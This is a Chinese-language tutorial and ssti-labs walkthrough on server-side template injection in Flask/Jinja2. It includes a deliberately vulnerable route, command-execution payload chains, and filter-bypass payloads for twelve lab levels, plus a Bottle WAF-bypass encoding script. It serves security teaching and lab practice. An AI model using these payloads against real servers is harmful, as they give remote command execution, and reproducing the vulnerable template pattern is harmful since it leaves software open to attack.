SSTI(模板注入)漏洞

前置知识

模板引擎

模板引擎是在 Web 开发中,为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,模板引擎会将模板文件和数据通过引擎整合生成最终的HTML代码并用于展示。
模板引擎的底层逻辑就是进行字符串拼接。模板引擎利用正则表达式识别模板占位符,并用数据替换其中的占位符。

SSTI

SSTI(Server-Side Template Injection)服务端模板注入主要是 Python 的一些框架,如 jinja2、mako、tornado、django,PHP 框架 smarty、twig,Java 框架 jade、velocity,rust 等框架使用渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。具体模板如下

python前置知识

python模板的ssti需要的部分知识点:

  • __class__:查看对象所属的类

  • __mro__:查看继承关系和调用顺序,返回一个元组

  • __base__:返回单一基类

  • __bases__:返回基类组成的元组

  • __subclasses__():返回当前类的所有子类列表

  • __init__:调用初始化函数,可用于跳转到 __globals__

  • __globals__:返回函数所在的全局命名空间(字典类型)

  • __builtins__:返回内建命名空间字典,包含所有内置函数和对象

  • __dict__:返回类的静态函数、类函数、普通函数、全局变量及一些内置属性

  • __getattribute__():访问对象属性时自动调用,也可以手动调用,例如 obj.__getattribute__('attr')

  • __getitem__():访问容器对象的键值时触发,例如 a['b'] 等价于 a.__getitem__('b')

  • __import__:动态导入模块,例如:

    1
    __import__('os').popen('ls').read()
  • __str__():返回对象的字符串描述,等价于 str(obj)print(obj)

  • url_for:Flask 方法,可通过 url_for.__globals__['__builtins__'] 访问内建命名空间,其中包含 current_app

  • get_flashed_messages:Flask 方法,同样能通过 __globals__['__builtins__'] 获取全局对象

  • lipsum:Flask 方法,lipsum.__globals__ 中包含 os 模块,可执行命令

    1
    2
    {{ lipsum.__globals__['os'].popen('ls').read() }}
    {{ cycler.__init__.__globals__.os.popen('ls').read() }}
  • current_app:Flask 应用上下文,全局变量,代表当前 Flask 应用

  • config:当前应用的所有配置,可用于命令执行

    1
    {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
  • request:Flask 请求对象,可深入到内建命名空间

    1
    request.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()
  • request.args.x1:获取 GET 参数

  • request.values.x1:获取 所有参数(包含 GET 和 POST)

  • request.cookies:获取 cookies 参数

  • request.headers:获取 请求头参数

  • request.form.x1:获取 POST 表单参数,适用于 application/x-www-form-urlencodedmultipart/form-data

  • request.data:获取 原始 POST 数据,适用于 Content-Type: a/b 类型

  • request.json:获取 POST JSON 数据,适用于 Content-Type: application/json

漏洞原理(以python进行示范)

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)


@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]

return render_template_string(template)


if __name__ == '__main__':
app.debug = True
app.run()

模板文件接收了名为x的传入参数,并且将参数值回显到页面上。
启动服务,手动传入参数,可以看到功能正常,其中参数x的值完全可控:

尝试写入 Jinja2 的模板语言如49,发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。

其就会执行49

那么就可以通过该方法进行命令执行

1
code= {{"".__class__.__bases__[0]. __subclasses__()[157].__init__.__globals__['popen']('id').read()}}

解析上方payload

1. 获取对象类型

可以通过字符串、元组、列表或字典来获取类型:

1
2
3
4
{{ '' .__class__ }}   # <class 'str'>
{{ () .__class__ }} # <class 'tuple'>
{{ [] .__class__ }} # <class 'list'>
{{ {} .__class__ }} # <class 'dict'>

2. 获取基类 object

1
{{ '' .__class__.__base__ }}  # <class 'object'>

3. 获取 object 的所有子类

1
2
{{ '' .__class__.__base__.__subclasses__() }}
# 返回 [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, ...]

注意:列表索引顺序可能因 Python 版本和环境不同而变化。


4. 选择一个可用的类

找到一个类,其 __init__ 函数可以访问 __globals__

1
2
{{ '' .__class__.__base__.__subclasses__()[128] }}
# <class 'os._wrap_close'>

5. 获取该类的 *init* 函数

1
2
{{ '' .__class__.__base__.__subclasses__()[128].__init__ }}
# <function _wrap_close.__init__ at 0x...>

6. 获取 *globals* 全局命名空间

1
2
{{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__ }}
# 返回该函数所在全局命名空间的字典

7. 获取内建函数 eval

1
2
3
4
{{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__'] }}
# 返回内建命名空间字典
{{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval'] }}
# <built-in function eval>

8. 利用 eval 执行系统命令

通过 __import__('os').popen() 执行系统命令:

1
{{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()') }}

所以flask模板下的注入步骤就如上方所述

在这些步骤之前第一步应该确定其是什么模板

根据该图进行模板的简单判断

ssti的bypass

ssti-labs靶场(flask模板)

level1

没有任何过滤直接写即可

1
{{"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

使用脚本寻找到所需要的os._wrap_close的位置之后构造如上payload即可

level2

1
该关过滤了{{}}

使用<!–swig41–>

level5

过滤了单双引号所以可用使用request.args.a(获取get传参),request.from.b(获取post传参),其函数作用可用获取获取的参数,也就是说可用靠这个像无参数rce的方法来讲命令写在参数里面以此绕过对单双引号的过滤。

1
code={{().__class__.__base__.__subclasses__()[157].__init__.__globals__[request.args.a](request.args.b).read()}}    http://192.168.153.166:5000/level/5?a=popen&b=ls /

level6

过滤下划线,使用过滤器过滤即可,过滤器通过|与变量连接

1
2
3
http://192.168.153.166:5000/level/6?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__

code={{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(157)|attr(request.args.e)|attr(request.args.f)|attr(request.args.g)('popen')('ls')|attr('read')()}}

注意:.read():这是纯 Python 语法,但在模板渲染时,. 取属性没问题,但如果直接跟 () 调用,Jinja2 不一定会自动执行,尤其是这种链式调用。所以

1
{{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(157)|attr(request.args.e)|attr(request.args.f)|attr(request.args.g)('popen')('ls').read()}}

这种方式并不用在ssti注入中

或使用编码的形式奖下划线编码去使用如unicode和16位编码

16进制编码:

1
"".__class__=""|attr(__class__)=""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")
1
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(157)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")('popen')('cat flag')|attr("read")()}}

level7

该关过滤了.上一关的payload可直接使用也可以使用字符串拼接的方法

level8

该关对一些关键字进行了过滤如:

1
2
3
4
5
bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

```
{{''["__cl"+"ass__"]["__ba"+"se__"]['__subc'+'lasses__']()[157]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls').read()}}
```

使用字符串拼接绕过即可

转置

1
2
''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse

level9

禁用了数字 ,所以可以使用无数字的payload

__builtins__,它里面有eval()等函数,我们可以也利用它来进行RCE
它的payload是

1
2
3
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
或者code={%set a='aaaaaaaaaaaaaaaaaaaa'| length* 'aaaaaaaa'|length -'aaa'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls').read()}}
使用length过滤器来进行操作使用{%%}计算字符a的数值,来获取数字绕过waf

leve10

config获取

当flask服务搭建起来时,其会启动上述的内置函数和内置对象,利用这些获取config

1
{{url_for.__globals__['current_app'].config}}

使用url_for这些内置函数即可

level11

该关卡过滤了很多东西 bl[‘'‘, ‘“‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]

使用dict()进行过滤

dict可以创建一个字典,jion的作用是将字典中的键值拼接到一起。

通过flask的内置函数获取_和空格这类的符号

由于request和引号都被过滤所以在构造payload时需要使用拼接方法获取popen

使用内置函数获取空格

如图其第18位是空格

1
{%set h=self|string|attr(d)(18)%}  #构造空格
1
code={%set a=dict(__class__=a)|join%}{%set b=dict(__base__=b)|join%}{%set c=dict(__subclasses__=c)|join%}{%set d=dict(__getitem__=d)|join%}{%set e=dict(__init__=e)|join%}{%set f=dict(__globals__=f)|join%}{%set g =dict(popen=g)|join%}{%set h=dict(cat=h)|join%}{%set re=dict(read=re)|join%}{%set ko=self|string|attr(d)(18)%}{%set shell=(h,ko,dict(flag=1)|join)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(157)|attr(e)|attr(f)|attr(d)(g)(shell)|attr(re)()}}

使用如上payload即可绕过该关卡的混合过滤

level12

bl[‘_’, ‘.’, ‘0-9’, ‘\‘, ‘'‘, ‘“‘, ‘[‘, ‘]’]

混合过滤,过滤了数字_.\引号和[]

将_用系统自带函数进行表示

之后利用count修改上一关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}
{%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(init=b)|join,x,x)|join()%}
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%}
{%set g=dict(pop=a,en=b)|join %}
{%set h=self|string|attr(d)(eighteen)%}
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

bottle框架中由斜体字引发的模板注入(SSTI)

以下为exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'


def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result

input_text = '' # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

具体内容可查看lamentxu的博客

聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园